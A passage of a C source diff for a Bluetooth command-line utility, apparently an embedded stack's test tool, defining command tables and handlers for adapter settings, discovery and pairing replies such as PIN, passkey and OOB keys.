0x0000 to 0xFFFF\n" \ + "\t --max_ce_length, Range: 0x0000 to 0xFFFF\n" + +#define INQUIRY_USAGE "inquiry device\n" \ + "\t\t\t- start <timeout>(Range: 1-48, i.e., 1.28-61.44s) [is_limited](Range: 0, 1)\n" \ + "\t\t\t- stop" + +#define SET_LE_PHY_USAGE "set le tx and rx phy, params: <addr><txphy><rxphy>(0:1M, 1:2M, 2:CODED)" + +static bt_command_t g_cmd_tables[] = { + { "enable", enable_cmd, 0, "enable stack" }, + { "disable", disable_cmd, 0, "disable stack" }, + { "state", get_state_cmd, 0, "get adapter state" }, + { "inquiry", discovery_cmd, 0, INQUIRY_USAGE }, + { "set", set_adapter_cmd, 0, "set adapter information, input \'set help\' show usage" }, + { "get", get_adapter_cmd, 0, "get adapter information, input \'get help\' show usage" }, + { "pair", pair_cmd, 0, "reply pair request, input \'pair help\' show usage" }, + { "connect", connect_cmd, 0, "connect classic peer device, params: <addr>" }, + { "disconnect", disconnect_cmd, 0, "disconnect peer device, params: <addr>" }, + { "leconnect", le_connect_cmd, 1, "connect le peer device, input \'leconnect -h\' show usage" }, + { "ledisconnect", le_disconnect_cmd, 0, "disconnect le peer device, params: <addr>" }, + { "createbond", create_bond_cmd, 0, "create bond, params: <addr> <transport>(0:BLE, 1:BREDR)" }, + { "cancelbond", cancel_bond_cmd, 0, "cancel bond, params: <addr>" }, + { "removebond", remove_bond_cmd, 0, "remove bond, params: <addr> <transport>(0:BLE, 1:BREDR)" }, + { "setalias", device_set_alias_cmd, 0, "set device alias, params: <addr>" }, + { "device", device_show_cmd, 0, "show device information, params: <addr>" }, + { "search", search_cmd, 0, "service serach <addr>, Not implemented" }, + { "start", start_service_cmd, 0, "start profile service, Not implemented" }, + { "stop", stop_service_cmd, 0, "stop profile service, Not implemented" }, + { "setphy", set_phy_cmd, 0, SET_LE_PHY_USAGE }, +#ifdef CONFIG_BLUETOOTH_BLE_ADV + { "adv", adv_command_exec, 0, "advertising cmd, input \'adv\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + { "scan", scan_command_exec, 0, "scan cmd, input \'scan\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_L2CAP + { "l2cap", l2cap_command_exec, 0, "l2cap cmd, input \'l2cap\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + { "a2dpsnk", a2dp_sink_command_exec, 0, "a2dp sink cmd, input \'a2dpsnk\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + { "a2dpsrc", a2dp_src_command_exec, 0, "a2dp source cmd, input \'a2dpsrc\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + { "avrcpct", avrcp_control_command_exec, 0, "avrcp control cmd, input \'avrcpct\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_HFP_HF + { "hf", hfp_hf_command_exec, 0, "hands-free cmd, input \'hf\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_HFP_AG + { "ag", hfp_ag_command_exec, 0, "audio-gateway cmd, input \'ag\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_SPP + { "spp", spp_command_exec, 0, "serial port cmd, input \'spp\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_HID_DEVICE + { "hidd", hidd_command_exec, 0, "hid device cmd, input \'hidd\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_PAN + { "pan", pan_command_exec, 0, "pan cmd, input \'pan\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_GATT_CLIENT + { "gattc", gattc_command_exec, 0, "gatt client cmd input \'gattc\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_GATT_SERVER + { "gatts", gatts_command_exec, 0, "gatt server cmd input \'gatts\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_SERVER + { "leas", leas_command_exec, 0, "lea server cmd, input \'leas\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_MCP + { "mcp", lea_mcp_command_exec, 0, "leaudio mcp cmd, input \'mcp\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_CCP + { "ccp", lea_ccp_command_exec, 0, "lea ccp cmd, input \'ccp\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_VMICS + { "vmics", vmics_command_exec, 0, "vcp/micp server cmd, input \'vmics\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_CLIENT + { "leac", leac_command_exec, 0, "lea client cmd, input \'leac\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_MCS + { "mcs", lea_mcs_command_exec, 0, "leaudio mcp cmd, input \'mcs\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_TBS + { "tbs", lea_tbs_command_exec, 0, "lea tbs cmd, input \'tbs\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_VMICP + { "vmicp", vmicp_command_exec, 0, "vcp/micp client cmd, input \'vmicp\' show usage" }, +#endif +#ifdef CONFIG_BLUETOOTH_STORAGE_UPDATE + { "storage", storage_command_exec, 0, "storage update cmd, input \'storage\' show usage" }, +#endif + { "dump", dump_cmd, 0, "dump adapter state" }, +#ifdef CONFIG_BLUETOOTH_LOG + { "log", log_command, 0, "log control command" }, +#endif + { "help", usage_cmd, 0, "Usage for bttools" }, + { "quit", quit_cmd, 0, "Quit" }, + { "q", quit_cmd, 0, "Quit" }, +}; + +#define SET_IOCAP_USAGE "params: <io capability> (0:displayonly, 1:yes&no, 2:keyboardonly, 3:no-in/no-out 4:keyboard&display)" +#define SET_CLASS_USAGE "params: <local class of device>, range in 0x0-0xFFFFFC, the 2 least significant shall be 0b00, example: 0x00640404" +#define SET_SCANPARAMS_USAGE "set scan parameters, params: <mode>(0: INQUIRY, 1: PAGE), <type>(0: standard, 1: interlaced), <interval>(range in 18-4096), <window>(range in 17-4096)" + +static bt_command_t g_set_cmd_tables[] = { + { "scanmode", set_scanmode_cmd, 0, "params: <scan mode> (0:none, 1:connectable 2:connectable&discoverable)" }, + { "iocap", set_iocap_cmd, 0, SET_IOCAP_USAGE }, + { "le_iocap", set_le_iocap_cmd, 0, SET_IOCAP_USAGE }, + { "name", set_local_name_cmd, 0, "params: <local name>, example \"vela-bt\"" }, + { "class", set_local_cod_cmd, 0, SET_CLASS_USAGE }, + { "appearance", set_appearance_cmd, 0, "set le adapter appearance, params: <appearance>" }, + { "leaddr", set_le_addr_cmd, 0, "set ble adapter addr, params: <leaddr>" }, + { "bondable", set_bondable_le_cmd, 0, "set LE bondable, params: <bondable>" }, + { "security", set_security_level_cmd, 0, "set bond security level, params: <level> <transport>" }, + { "id", set_identity_addr_cmd, 0, "set ble identity addr, params: <identity addr> <addr type>" }, + { "scanparams", set_scan_parameters_cmd, 0, SET_SCANPARAMS_USAGE }, + { "debug", set_debug_mode_cmd, 0, "set debug mode, params: <mode> (e.g. pts) <enable> (0: disable, 1: enable)" }, + { "help", NULL, 0, "show set help info" }, + //{ "", , "set " }, +}; + +static bt_command_t g_get_cmd_tables[] = { + { "scanmode", get_scanmode_cmd, 0, "get adapter scan mode" }, + { "iocap", get_iocap_cmd, 0, "get adapter io capability" }, + { "le_iocap", get_le_iocap_cmd, 0, "get adapter le io capability" }, + { "addr", get_local_addr_cmd, 0, "get adapter local addr" }, + { "leaddr", get_le_addr_cmd, 0, "get ble adapter addr" }, + { "name", get_local_name_cmd, 0, "get adapter local name" }, + { "appearance", get_appearance_cmd, 0, "get le adapter appearance" }, + { "class", get_local_cod_cmd, 0, "get adapter local class of device" }, + { "bonded", get_bonded_devices_cmd, 0, "get bonded devices, params:<transport>(0:BLE, 1:BREDR)" }, + { "connected", get_connected_devices_cmd, 0, "get connected devices params:<transport>(0:BLE, 1:BREDR)" }, + { "help", NULL, 0, "show get help info" }, + //{ "", , "get " }, +}; + +#define PAIR_PASSKEY_USAGE "input ssp passkey, params: <addr> <transport>(0:BLE, 1:BREDR)<reply>(0 :reject, 1: accept)<passkey>" +#define PAIR_CONFIRM_USAGE "set ssp confirmation, params: <addr> <transport> (0:BLE, 1:BREDR)<conform>(0 :reject, 1: accept)" + +static bt_command_t g_pair_cmd_tables[] = { + { "auto", pair_set_auto_cmd, 0, "enable pair auto reply, params: <enable>(0:disable, 1:enable)" }, + { "reply", pair_reply_cmd, 0, "reply the pair request, params: <addr><accept?>(0 :reject, 1: accept)" }, + { "pin", pair_set_pincode_cmd, 0, "input pin code, params: <addr><accept?>(0 :reject, 1: accept)<pincode>" }, + { "passkey", pair_set_passkey_cmd, 0, PAIR_PASSKEY_USAGE }, + { "confirm", pair_set_confirm_cmd, 0, PAIR_CONFIRM_USAGE }, + { "set_tk", pair_set_tk_cmd, 0, "set oob temporary key for le legacy pairing: <addr><tk_val>" }, + { "set_oob", pair_set_oob_cmd, 0, "set remote oob data for le sc pairing: <addr><c_val><r_val>" }, + { "get_oob", pair_get_oob_cmd, 0, "get local oob data for le sc pairing: <addr>" }, + { "help", NULL, 0, "show pair help info" }, + //{ "", , "set " }, +}; + +static void bt_tool_init(void* handle) +{ +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + scan_command_init(handle); +#endif +#ifdef CONFIG_BLUETOOTH_L2CAP + l2cap_command_init(handle); +#endif +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + a2dp_sink_commond_init(handle); +#endif +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + a2dp_src_commond_init(handle); +#endif +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + avrcp_control_commond_init(handle); +#endif +#ifdef CONFIG_BLUETOOTH_HFP_HF + hfp_hf_commond_init(handle); +#endif +#ifdef CONFIG_BLUETOOTH_HFP_AG + hfp_ag_commond_init(handle); +#endif +#ifdef CONFIG_BLUETOOTH_SPP + spp_command_init(handle); +#endif +#ifdef CONFIG_BLUETOOTH_HID_DEVICE + hidd_command_init(handle); +#endif +#ifdef CONFIG_BLUETOOTH_PAN + pan_command_init(handle); +#endif +#ifdef CONFIG_BLUETOOTH_GATT_CLIENT + gattc_command_init(handle); +#endif +#ifdef CONFIG_BLUETOOTH_GATT_SERVER + gatts_command_init(handle); +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_SERVER + leas_command_init(handle); +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_CLIENT + leac_command_init(handle); +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_MCP + lea_mcp_commond_init(handle); +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_MCS + lea_mcs_commond_init(handle); +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_CCP + lea_ccp_command_init(handle); +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_TBS + lea_tbs_command_init(handle); +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_VMICS + lea_vmics_command_init(handle); +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_VMICP + lea_vmicp_command_init(handle); +#endif +#ifdef CONFIG_BLUETOOTH_STORAGE_UPDATE + storage_command_init(handle); +#endif + g_cmd_had_inited = true; +} + +static void bt_tool_uninit(void* handle) +{ + if (!g_cmd_had_inited) + return; + +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + scan_command_uninit(handle); +#endif +#ifdef CONFIG_BLUETOOTH_L2CAP + l2cap_command_uninit(handle); +#endif +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + a2dp_sink_commond_uninit(handle); +#endif +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + a2dp_src_commond_uninit(handle); +#endif +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + avrcp_control_commond_uninit(handle); +#endif +#ifdef CONFIG_BLUETOOTH_HFP_HF + hfp_hf_commond_uninit(handle); +#endif +#ifdef CONFIG_BLUETOOTH_HFP_AG + hfp_ag_commond_uninit(handle); +#endif +#ifdef CONFIG_BLUETOOTH_SPP + spp_command_uninit(handle); +#endif +#ifdef CONFIG_BLUETOOTH_HID_DEVICE + hidd_command_uninit(handle); +#endif +#ifdef CONFIG_BLUETOOTH_PAN + pan_command_uninit(handle); +#endif +#ifdef CONFIG_BLUETOOTH_GATT_CLIENT + gattc_command_uninit(handle); +#endif +#ifdef CONFIG_BLUETOOTH_GATT_SERVER + gatts_command_uninit(handle); +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_SERVER + leas_command_uninit(handle); +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_MCP + lea_mcp_commond_uninit(handle); +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_MCS + lea_mcs_commond_uninit(handle); +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_CCP + lea_ccp_command_uninit(handle); +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_TBS + lea_tbs_command_uninit(handle); +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_VMICS + lea_vmics_command_uninit(handle); +#endif +#ifdef CONFIG_BLUETOOTH_LEAUDIO_VMICP + lea_vmicp_command_uninit(handle); +#endif +#ifdef CONFIG_BLUETOOTH_STORAGE_UPDATE + storage_command_uninit(handle); +#endif + g_cmd_had_inited = false; +} + +static const char* cmd_err_str(int err_code) +{ + for (int i = 0; i < ARRAY_SIZE(cmd_err_map); i++) { + if (cmd_err_map[i].cmd_err_code == err_code) + return cmd_err_map[i].cmd_err_code_desc; + } + + return "Correct code ?"; +} + +static int enable_cmd(void* handle, int argc, char** argv) +{ + bt_adapter_enable(handle); + return CMD_OK; +} + +static int disable_cmd(void* handle, int argc, char** argv) +{ + bt_adapter_disable_safe(handle); + return CMD_OK; +} + +static int get_state_cmd(void* handle, int argc, char** argv) +{ + PRINT("Adapter State: %d", bt_adapter_get_state(handle)); + return CMD_OK; +} + +static int discovery_cmd(void* handle, int argc, char** argv) +{ + int limited = 0; + + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (!strcmp(argv[0], "start")) { + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + int timeout = atoi(argv[1]); + if (timeout <= 0 || timeout > 48) { + PRINT("%s, invalid timeout value:%d", __func__, timeout); + return CMD_INVALID_PARAM; + } + + if (argc >= 3) { + limited = atoi(argv[2]); + } + + PRINT("start %s discovery timeout:%d", limited ? "limited" : "general", timeout); + + if ((limited + ? bt_adapter_start_limited_discovery(handle, timeout) + : bt_adapter_start_discovery(handle, timeout)) + != BT_STATUS_SUCCESS) { + return CMD_ERROR; + } + + } else if (!strcmp(argv[0], "stop")) { + if (bt_adapter_cancel_discovery(handle) != BT_STATUS_SUCCESS) + return CMD_ERROR; + } else { + return CMD_USAGE_FAULT; + } + + return CMD_OK; +} + +static void set_usage(void) +{ + printf("Usage:\n" + "\tset [options] <command> [command parameters]\n"); + printf("Options:\n" + "\t--help\tDisplay help\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_set_cmd_tables); i++) { + printf("\t%-8s\t%s\n", g_set_cmd_tables[i].cmd, g_set_cmd_tables[i].help); + } + printf("\n" + "For more information on the usage of each command use:\n" + "\tset help\n"); +} + +static void get_usage(void) +{ + printf("Usage:\n" + "\tget [options] <command> [command parameters]\n"); + printf("Options:\n" + "\t--help\tDisplay help\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_get_cmd_tables); i++) { + printf("\t%-8s\t%s\n", g_get_cmd_tables[i].cmd, g_get_cmd_tables[i].help); + } + printf("\n" + "For more information on the usage of each command use:\n" + "\tget help\n"); +} + +static void pair_usage(void) +{ + printf("Usage:\n" + "\tpair [options] <command> [command parameters]\n"); + printf("Options:\n" + "\t--help\tDisplay help\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_pair_cmd_tables); i++) { + printf("\t%-8s\t%s\n", g_pair_cmd_tables[i].cmd, g_pair_cmd_tables[i].help); + } + printf("\n" + "For more information on the usage of each command use:\n" + "\tpair help\n"); +} + +static int set_adapter_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) { + set_usage(); + return CMD_PARAM_NOT_ENOUGH; + } + + int ret = execute_command_in_table(handle, g_set_cmd_tables, ARRAY_SIZE(g_set_cmd_tables), argc, argv); + if (ret != CMD_OK) + set_usage(); + + return ret; +} + +static int get_adapter_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) { + get_usage(); + return CMD_PARAM_NOT_ENOUGH; + } + + int ret = execute_command_in_table(handle, g_get_cmd_tables, ARRAY_SIZE(g_get_cmd_tables), argc, argv); + if (ret != CMD_OK) + get_usage(); + + return ret; +} + +static int set_scanmode_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + int scanmode = atoi(argv[0]); + if (scanmode > BT_BR_SCAN_MODE_CONNECTABLE_DISCOVERABLE) + return CMD_INVALID_PARAM; + + if (bt_adapter_set_scan_mode(handle, scanmode, 1) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Scan Mode:%d set success", scanmode); + return CMD_OK; +} + +static int get_scanmode_cmd(void* handle, int argc, char** argv) +{ + PRINT("Scan Mode:%d", bt_adapter_get_scan_mode(handle)); + return CMD_OK; +} + +static int set_iocap_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (strlen(argv[0]) > 1) { + return CMD_INVALID_PARAM; + } + + int iocap = *argv[0] - '0'; + if (iocap < BT_IO_CAPABILITY_DISPLAYONLY || iocap > BT_IO_CAPABILITY_KEYBOARDDISPLAY) + return CMD_INVALID_PARAM; + + if (bt_adapter_set_io_capability(handle, iocap) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("IO Capability:%d set success", iocap); + return CMD_OK; +} + +static int set_le_iocap_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (strlen(argv[0]) > 1) { + return CMD_INVALID_PARAM; + } + + uint32_t iocap = *argv[0] - '0'; + if (iocap < BT_IO_CAPABILITY_DISPLAYONLY || iocap > BT_IO_CAPABILITY_KEYBOARDDISPLAY) + return CMD_INVALID_PARAM; + + if (bt_adapter_set_le_io_capability(handle, iocap) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("IO Capability:%" PRIu32 " set success", iocap); + return CMD_OK; +} + +static int get_iocap_cmd(void* handle, int argc, char** argv) +{ + PRINT("IO Capability:%d", bt_adapter_get_io_capability(handle)); + return CMD_OK; +} + +static int get_le_iocap_cmd(void* handle, int argc, char** argv) +{ + PRINT("IO Capability:%" PRIu32, bt_adapter_get_le_io_capability(handle)); + return CMD_OK; +} + +static int get_local_addr_cmd(void* handle, int argc, char** argv) +{ + bt_address_t addr; + + bt_adapter_get_address(handle, &addr); + PRINT_ADDR("Local Address:[%s]", &addr); + return CMD_OK; +} + +static int get_appearance_cmd(void* handle, int argc, char** argv) +{ + uint16_t appearance; + + appearance = bt_adapter_get_le_appearance(handle); + PRINT("Le appearance:0x%04x", appearance); + return CMD_OK; +} + +static int set_appearance_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + uint32_t appearance = strtoul(argv[0], NULL, 16); + bt_adapter_set_le_appearance(handle, appearance); + PRINT("Set Le appearance:0x%04" PRIx32 "", appearance); + + return CMD_OK; +} + +static int set_le_addr_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + bt_adapter_set_le_address(handle, &addr); + + return CMD_OK; +} + +static int set_bondable_le_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bool bondable = atoi(argv[0]); + + if (bt_device_set_bondable_le(handle, bondable) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("bondable: %d set success", bondable); + return CMD_OK; +} + +static int set_security_level_cmd(void* handle, int argc, char** argv) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + if (strlen(argv[0]) > 1) { + return CMD_INVALID_PARAM; + } + + uint8_t level = *argv[0] - '0'; + if (level < 0 || level > 4) + return CMD_INVALID_PARAM; + + int transport = atoi(argv[1]); + if (transport != BT_TRANSPORT_BREDR && transport != BT_TRANSPORT_BLE) + return CMD_INVALID_PARAM; + + if (bt_device_set_security_level(handle, level, transport) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("security level: %d, transport: %d", level, transport); + return CMD_OK; +} + +static int get_le_addr_cmd(void* handle, int argc, char** argv) +{ + bt_address_t addr; + ble_addr_type_t type; + + bt_adapter_get_le_address(handle, &addr, &type); + PRINT_ADDR("LE Address:%s, type:%d", &addr, type); + + return CMD_OK; +} + +static int set_identity_addr_cmd(void* handle, int argc, char** argv) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int type = atoi(argv[1]); + if (type != 0 && type != 1) { + return CMD_INVALID_PARAM; + } + + bt_adapter_set_le_identity_address(handle, &addr, type); + + return CMD_OK; +} + +static int set_scan_parameters_cmd(void* handle, int argc, char** argv) +{ + if (argc < 4) + return CMD_PARAM_NOT_ENOUGH; + + int is_page = atoi(argv[0]); + if (is_page != 0 && is_page != 1) + return CMD_INVALID_PARAM; + + int type = atoi(argv[1]); + if (type != 0 && type != 1) + return CMD_INVALID_PARAM; + + int interval = atoi(argv[2]); + if (interval < 0x12 || interval > 0x1000) + return CMD_INVALID_PARAM; + + int window = atoi(argv[3]); + if (window < 0x11 || window > 0x1000) + return CMD_INVALID_PARAM; + + if (!is_page) + bt_adapter_set_inquiry_scan_parameters(handle, type, interval, window); + else + bt_adapter_set_page_scan_parameters(handle, type, interval, window); + + return CMD_OK; +} + +static int set_debug_mode_cmd(void* handle, int argc, char** argv) +{ + uint8_t mode, operation; + + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + if (!strncasecmp(argv[0], "pts", strlen("pts"))) { + mode = BT_DEBUG_MODE_PTS; + } else { + PRINT("error mode: %s", argv[0]); + return CMD_INVALID_PARAM; + } + + operation = atoi(argv[1]); + + if (bt_adapter_set_debug_mode(handle, mode, operation) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int get_local_name_cmd(void* handle, int argc, char** argv) +{ + char name[64 + 1]; + + bt_adapter_get_name(handle, name, 64); + PRINT("Local Name:%s", name); + + return CMD_OK; +} + +static int set_local_name_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + char* name = argv[0]; + if (strlen(name) > 63) { + PRINT("name length to long"); + return CMD_INVALID_PARAM; + } + + if (bt_adapter_set_name(handle, name) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Local Name:%s set success", name); + return CMD_OK; +} + +static int get_local_cod_cmd(void* handle, int argc, char** argv) +{ + uint32_t cod = bt_adapter_get_device_class(handle); + PRINT("Local class of device: 0x%08" PRIx32 ", is HEADSET: %s", cod, IS_HEADSET(cod) ? "true" : "false"); + return CMD_OK; +} + +static int set_local_cod_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + uint32_t cod = strtol(argv[0], NULL, 16); + + if (cod > 0xFFFFFF || cod & 0x3) + return CMD_INVALID_PARAM; + + if (bt_adapter_set_device_class(handle, cod) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Local class of device:0x%08" PRIx32 " set success", cod); + return CMD_OK; +} + +static int pair_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) { + pair_usage(); + return CMD_PARAM_NOT_ENOUGH; + } + + int ret = execute_command_in_table(handle, g_pair_cmd_tables, ARRAY_SIZE(g_pair_cmd_tables), argc, argv); + if (ret != CMD_OK) + pair_usage(); + + return ret; +} + +static int pair_set_auto_cmd(void* handle, int argc, char** argv) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + if (strlen(argv[0]) > 1) { + return CMD_INVALID_PARAM; + } + switch (*argv[0]) { + case '0': + g_auto_accept_pair = false; + break; + case '1': + g_auto_accept_pair = true; + break; + default: + return CMD_INVALID_PARAM; + break; + } + + PRINT("Auto accept pair:%s", g_auto_accept_pair ? "Enable" : "Disable"); + + return CMD_OK; +} + +static int pair_reply_cmd(void* handle, int argc, char** argv) +{ + bt_address_t addr; + + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int reply = atoi(argv[1]); + if (reply != 0 && reply != 1) + return CMD_INVALID_PARAM; + + /* TODO: Check bond state*/ + if (bt_device_pair_request_reply(handle, &addr, reply) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Device [%s] pair request %s", argv[0], reply ? "Accept" : "Reject"); + return CMD_OK; +} + +static int pair_set_pincode_cmd(void* handle, int argc, char** argv) +{ + bt_address_t addr; + char* pincode = NULL; + uint8_t pincode_len = 0; + + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int reply = atoi(argv[1]); + if (reply != 0 && reply != 1) + return CMD_INVALID_PARAM; + + if (reply) { + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + pincode = argv[2]; + pincode_len = strlen(pincode); + } + + /* TODO: Check bond state*/ + if (bt_device_set_pin_code(handle, &addr, reply, pincode, pincode_len) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Device [%s] pincode request %s, code:%s", argv[0], reply ? "Accept" : "Reject", pincode); + return CMD_OK; +} + +static int pair_set_passkey_cmd(void* handle, int argc, char** argv) +{ + bt_address_t addr; + int passkey = 0; + + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int transport = atoi(argv[1]); + if (transport != BT_TRANSPORT_BREDR && transport != BT_TRANSPORT_BLE) + return CMD_INVALID_PARAM; + + int reply = atoi(argv[2]); + if (reply != 0 && reply != 1) + return CMD_INVALID_PARAM; + + if (reply) { + if (argc < 4) + return CMD_PARAM_NOT_ENOUGH; + + char tmp[7] = { 0 }; + strncpy(tmp, argv[3], 6); + passkey = atoi(tmp); + if (passkey > 1000000) { + PRINT("Invalid passkey"); + return CMD_INVALID_PARAM; + } + } + + /* TODO: Check bond state*/ + if (bt_device_set_pass_key(handle, &addr, transport, reply, passkey) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Device [%s] passkey request %s, passkey:%d", argv[0], reply ? "Accept" : "Reject", passkey); + return CMD_OK; +} + +static int pair_set_confirm_cmd(void* handle, int argc, char** argv) +{ + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + int transport = atoi(argv[1]); + if (transport != BT_TRANSPORT_BREDR && transport != BT_TRANSPORT_BLE) + return CMD_INVALID_PARAM; + + int reply = atoi(argv[2]); + if (reply != 0 && reply != 1) + return CMD_INVALID_PARAM; + + /* TODO: Check bond state*/ + if (bt_device_set_pairing_confirmation(handle, &addr, transport, reply) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Device [%s] ssp confirmation %s", argv[0], reply ? "Accept" : "Reject"); + return CMD_OK; +} + +static void str2hex(char* src_str, uint8_t* dest_buf, uint8_t hex_number) +{ + uint8_t i; + uint8_t lb, hb; + + for (i = 0; i < hex_number; i++) { + lb = src_str[(i << 1) + 1]; + hb = src_str[i << 1]; + if (hb >= '0' && hb <= '9') { + dest_buf[i] = hb - '0'; + } else if (hb >= 'A' && hb < 'G') { + dest_buf[i] = hb - 'A' + 10; + } else if (hb >= 'a' && hb < 'g') { + dest_buf[i] = hb - 'a' + 10; + } else { + dest_buf[i] = 0; + } + + dest_buf[i] <<= 4; + if (lb >= '0' && lb <= '9') { + dest_buf[i] += lb - '0'; + } else if (lb >= 'A' && lb < 'G') { + dest_buf[i] += lb - 'A' + 10; + } else if (lb >= 'a' && lb < 'g') { + dest_buf[i] += lb - 'a' + 10; + } + } +} + +static int pair_set_tk_cmd(void* handle, int argc, char** argv) +{ + bt_128key_t tk_val; + + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (strlen(argv[1]) < (sizeof(bt_128key_t) * 2)) { + PRINT("length of temporary key is insufficient"); + return CMD_INVALID_PARAM; + } + + str2hex(argv[1], tk_val, sizeof(bt_128key_t)); + + if (bt_device_set_le_legacy_tk(handle, &addr, tk_val) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("Set oob temporary key for le legacy pairing with [%s]", argv[0]); + return CMD_OK; +} + +static int pair_set_oob_cmd(void* handle, int argc, char** argv) +{ + bt_128key_t c_val; + bt_128key_t r_val; + + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (strlen(argv[1]) < (sizeof(bt_128key_t) * 2)) { + PRINT("length of confirmation value is insufficient"); + return CMD_INVALID_PARAM; + } + + if (strlen(argv[2]) < (sizeof(bt_128key_t) * 2)) { + PRINT("length of random value is insufficient"); + return CMD_INVALID_PARAM; + } + + 